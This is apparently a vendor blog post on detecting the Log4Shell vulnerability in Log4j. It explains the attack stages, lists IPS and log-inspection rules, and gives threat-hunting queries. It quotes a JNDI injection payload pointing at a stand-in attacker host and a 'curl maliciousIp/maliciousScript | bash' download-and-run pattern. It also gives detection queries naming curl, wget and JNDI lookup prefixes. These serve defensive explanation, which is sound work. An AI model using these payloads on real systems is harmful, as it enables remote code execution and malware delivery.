How to Detect Apache Log4j Vulnerabilities
Network Security
Explore how to detect Apache Log4j (Log4Shell) vulnerabilities using cloud-native security tools.
Read time: ( words)
In my previous blog, I reviewed how to detect Apache HTTP server exploitation from vulnerabilities in October. Weirdly enough, I wrote that article before the Apache Log4j (Log4Shell) news broke in December 2021. So I’m back to write about how to detect the infamous Log4j vulnerability (CVE-2021-44228) that allows attackers to achieve remote code execution on the victim servers using the vulnerable versions of the popular library in exposed web applications/services.
Stages of Log4j attack
Before diving straight into detection/prevention, let’s first take a look at the different stages of the attack. For majority of the attacks wherein Log4j is exploited, the flow looks like this:
Source: Trend Micro
The above depicts a vulnerable public facing web service that logs the User-Agent field from the HTTP request. Here’s how the attack works:
- The malicious Java Naming Directory Interface (JDNI) payload can arrive in any protocol; it just needs to reach the vulnerable Log4j logging mechanism. In this case, the protocol is HTTP and the payload is sent in the ‘User-Agent’ header.
- The value of User-Agent header is logged by a vulnerable web application using the Log4j library. Logging of fields like these is common in Java-based applications.
- The payload ${jndi:ldap://attacker/a} is looked up using JNDI, which in turn tries accessing the LDAP server.
- If remote loading of Java classes is enabled (i.e., if com.sun.jndi.ldap.object.trustURLCodebase is set to true), the attacker’s infrastructure is called to using a set of protocols (LDAP in this case).
- The LDAP response can contain either of the two:
- The response itself might contain the malicious Java bytecode
- The response contains a reference to the attacker’s infrastructure from where the malicious Java class file is fetched.
In this case, the Java class file is fetched as follows:
- The malicious bytecode is executed, which in turn leads to malicious command and control in step 7.
- Malicious command and control is observed between attacker’s infrastructure and the vulnerable server
Detection of Log4j
Now that we have a fair understanding of what the vulnerability is and how it looks, let’s explore how to detect Log4j attacks using Trend Micro Cloud One™ and Trend Micro Vision One™.
As I mentioned in the last blog, Trend Micro Cloud One is a security services platform for cloud builders composed of seven services. It is integrated with Trend Micro Vision One, which leverages industry-leading XDR capabilities to collect, correlate, and display data from Trend Micro Cloud One in a straightforward dashboard.
In this scenario, we used Trend Micro Cloud One™ – Network Security and Trend Micro Cloud One™ – Workload Security detect Log4j vulnerabilities. Network Security goes beyond traditional intrusion prevention systems (IPS) to inspect ingress and egress traffic, adding another layer of protection between the vulnerable Log4j library. Simultaneously, Workload Security ensures your containers and datacenters are secured with automated scanning and customazible post-scan actions.
Let’s dissect how Workload Security works:
Here we see how the different Workload Security modules work in tandem, capturing the overview of different stages of a successful exploit attempt.
The following is a list of IPS rules for detecting Log4j:
- 1011242 – Apache Log4j Remote Code Execution Vulnerability (CVE-2021-44228 and CVE-2021-45046)
- 1011249 – Apache Log4j Denial of Service Vulnerability (CVE-2021-45105)
- 1005177 – Restrict Java Bytecode File (Jar/Class) Download
Here’s how the rules work to detect the attack at different stages:
- IPS rule 1011242 – Apache Log4j Remote Code Execution Vulnerability (CVE-2021-44228) detects stage one of the attack, wherein JNDI payload is injected in the request body/header/URI/uriquery.
- IPS rule 1011249 – Apache Log4j Denial of Service Vulnerability (CVE-2021-45105) detects traffic with the Denial Of Service JNDI payload in the request body/header/URI/uriquery.
- IPS rule 1005177 – Restrict Java Bytecode File (Jar/Class) Download triggers when a client downloads a .class or .jar file, which executes attacker-controlled, malicious code on a target.
We also use a log inspection rule to detect the vulnerability.
The log inspection rule 1011241 – Apache Log4j Remote Code Execution Vulnerability (CVE-2021-44228) looks for JNDI payloads in the access logs, with the default path being /var/log/*/access.log.
Different log sources from other applications can be configured to inspect logs by adding log files using their absolute paths in the Configuration tab.
Now that we’ve covered Workload Security detections, let’s review Network Security helps detect and prevent exploitation of Log4j vulnerabilities using the following IPS filters:
- 40652: HTTP: Apache Log4j StrSubstitutor Denial-of-Service Vulnerability (ZDI-21-1541) detects an attempt to exploit a denial-of-service vulnerability in Apache Log4j. The specific flaw exists due to a failure to properly sanitize values being logged. Successful exploitation results in a denial-of-service condition.
- 40651: HTTP: JNDI Recursive Variable Replacement in an HTTP Request detects the usage of a recursive variable replacement within a JNDI expression in an HTTP request. While not inherently malicious, traffic of this nature can be used to create a denial-of-service condition in some vulnerable configurations of Log4j or be used to bypass detection of other jndi vulnerabilities.
- 40627: HTTP: JNDI Injection in HTTP Request detects an attempt to inject JNDI requests in HTTP request. While not inherently malicious, the presence of JNDI code in the HTTP requests can be indicative of an attempt to exploit a known code execution vulnerability in Log4j.
- 13876: TCP: Download/Upload of a Java .class Application detect an attempt to download or upload a .class Java file. Oracle Java is an object oriented programming language used across a vast amount of devices and appliances. Based on the expected common occurrence of matches in this filter’s logic, it should not be deployed inline with a blocking action set until fully performance tested and vetted for false positives in its target production environment. This is a policy filter which, when enabled in certain deployments, may be prone to false positive conditions as well as possible performance impacts. If Oracle Java is not deployed or anticipated for deployment in your network, this filter should not be enabled in blocking mode.
- 40640: LDAP: Generic BIND Request (Non-Standard Ports) detects an LDAP BIND request on non-standard ports.
- 40646: LDAP: Generic BIND Request (Standard Ports) filter detects an LDAP BIND request on standard ports.
Tying it all together with Trend Micro Vision One
Observed attack techniques from Trend Micro Vision One
We’ve seen how Network Security and Workload Security can detect Log4j vulnerabilities, but what good is that information on its own? Trend Micro Vision One puts together the puzzle so you can have comprehensive visibility across all data in one console. Let’s dive into what you can see (pun intended) with Trend Micro Vision One:
Observed attack techniques (OATs)
These are individual alerts that indicate unit steps of high importance (for example, IPS trigger for Log4j remote code execution (RCE) vulnerability or log Inspection trigger for Log4j JNDI Payload in access logs).
Trend Micro Vision One Threat Hunting app helps you see if anything suspicious or alarming happening across endpoints. In this example, the following OATs need to be investigated to narrow down on the whereabouts of a possible intrusion:
F4778 – Apache Log4j Remote Code Execution Vulnerability (CVE-2021-44228)
F4779 – Log4j Remote Code Execution Vulnerability (CVE-2021-44228)
F4780 – Restrict Java Bytecode File (Jar or Class) Download
F4783 – Vulnerable LOG4J Version for CVE-2021-44228
F4801 – Apache Log4j Denial of Service Vulnerability
F4795 – Apache Log4j Remote Code Execution
Search App Queries
The Search app helps find malicious JNDI payloads from different module detections from Workload Security across all endpoints leveraging Trend Micro Vision One. Below are examples of searches I made based on my understanding of the vulnerability and where visible events show up:
- Using Search Method: Endpoint Activity Data, look for a parent process with java in the file path creating a curl or wget process. In the majority of attacks observed, curl and wget have been used to download and run malicious scripts and executables on vulnerable servers.
Search: (processCmd:curl OR processCmd:wget) AND parentFilePath:*java*
- JNDI payload patterns in msg field of Workload Security prevention triggers.
Search: eventName:DEEP_PACKET_INSPECTION_EVENT AND (ruleId:1008610 OR ruleId:1011242 OR ruleId:1011249) AND (“${” AND (“lower:” OR “upper:” OR “sys:” OR “env:” OR “java:” OR “jndi:”))
- JNDI payload patterns in remarks field of Workload Security log Inspection triggers –
Search: eventName:LOG_INSPECTION_EVENT AND (“${” AND (“lower:” OR “upper:” OR “sys:” OR “env:” OR “java:” OR “jndi:”))
Root-cause analysis (RCA)
Using Trend Micro Vision One, we can use the Execution Profile to perform a deeper RCA, helping analysts understand the chain of events of the attacks that attempt to exploit Log4j.
In the attacks we observed, the Log4j vulnerability is exploited to download malicious shell scripts on the target machine using curl or wget and execute them by piping them to bash or sh: curl maliciousIp/maliciousScript | bash.
The RCA above explains the outbound connections to attacker controlled IP address and the creation of Executable and Linkable Format (ELF) binaries. The ELFs downloaded are made executable by using the chmod utility.
In this RCA, we see execution of shell commands like clear, id, and whoami, which are being executed where systemd-shell is the parent process. As we can see, they stem from the bash shell and the command line is logged by the Activity Monitoring module.
Workbench
The Trend Micro Vision One Workbench helps you visualize and take action on the most significant events observed in an environment. These detections include telemetry from various Trend Micro products (in this case, Trend Micro Cloud One services) and the Workbench condenses them into a single pane of glass view.
Here we see Bash Shell Script Execution is observed right after the IPS trigger for Log4j. The Impact Scope displays the number of hosts/servers observed for correlation activity to the alert. The highlighted fields (processCmd, processFilePath) on the left are what’s being monitored across other deployments and workloads throughout the organization.
In this trigger, we see the outbound network activity to a known cryptocurrency mining pool after the Log4j vulnerability is exploited. Attackers have been exploiting the vulnerability to deliver cryptocurrency coinminers and MIRAI botnet malware. The Command and Control (C&C) observed is logged by the Web Reputation Service and Activity Monitoring.
In this Workbench trigger, the event is from the Log Inspection module, wherein the JNDI payload was observed in the access logs of a web server.
Next steps
Keep up to date on developing Log4Shell news here. You can also start a free trial or check out our extensive documentation library to see how Trend Micro Vision One powers layered detection and response for our cloud-builder security platform, Trend Micro Cloud One.
Tags
sXpIBdPeKzI9PC2p0SWMpUSM2NSxWzPyXTMLlbXmYa0R20xk
